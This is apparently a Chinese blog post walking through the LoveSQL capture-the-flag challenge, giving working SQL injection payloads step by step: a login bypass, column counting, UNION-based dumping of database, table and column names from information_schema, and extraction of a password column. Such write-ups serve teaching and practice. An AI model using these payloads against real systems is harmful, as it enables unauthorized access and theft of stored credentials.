sql注入 [极客大挑战 2019]LoveSQL 1

打开题目

几次尝试,发现输1 1",页面都会回显NO,Wrong username password!!!

只有输入1',页面报错,说明是单引号的字符型注入

那我们万能密码试试能不能登录

1' or 1=1 #

成功登录

得到账号和密码

我们登录一下发现什么也没有

爆破列名字段数

1' order by 4 # 页面报错

但是1' order by 3 #时

页面没有报错,说明列名字段数为3

爆破数据显示位

1' union select 1,2,3 #

可以得到数据显示位为2和3

接着我们爆破数据库名

1' union select 1,2,database() #

得到数据库名为geek

爆破表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

当前数据库下的所有表名有

爆破列名

在这里我们先试试l0ve1ysq1表

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

得到其表下有三个字段

我们直接爆破password字段试试下面有没有flag

1' union select 1,2,group_concat(password) from l0ve1ysq1 #

得到数据

直接查看源代码得到flag

相关推荐
悄悄敲敲敲4 小时前
MySQL表的约束
数据库·mysql
鼠爷ねずみ4 小时前
SpringCloud前后端整体开发流程-以及技术总结文章实时更新中
java·数据库·后端·spring·spring cloud
九皇叔叔4 小时前
MySQL 数据库 Read View 详解
数据库·mysql·mvcc·read view
Elastic 中国社区官方博客5 小时前
Elasticsearch:圣诞晚餐 BBQ - 图像识别
大数据·数据库·elasticsearch·搜索引擎·ai·全文检索
cui_win6 小时前
Prometheus实战教程 - Redis 监控
数据库·redis·prometheus
JIngJaneIL6 小时前
基于java + vue个人博客系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot
TG:@yunlaoda360 云老大6 小时前
华为云国际站代理商备份策略设置过程中遇到问题如何解决?
服务器·数据库·华为云
SelectDB7 小时前
Doris Catalog 已上线!性能提升 200x,全面优于 JDBC Catalog,跨集群查询迈入高性能分析时代
数据库·数据分析·apache
TAEHENGV7 小时前
进度跟踪模块 Cordova 与 OpenHarmony 混合开发实战
android·javascript·数据库
神秘面具男037 小时前
MySQL 从基础到实践
数据库·mysql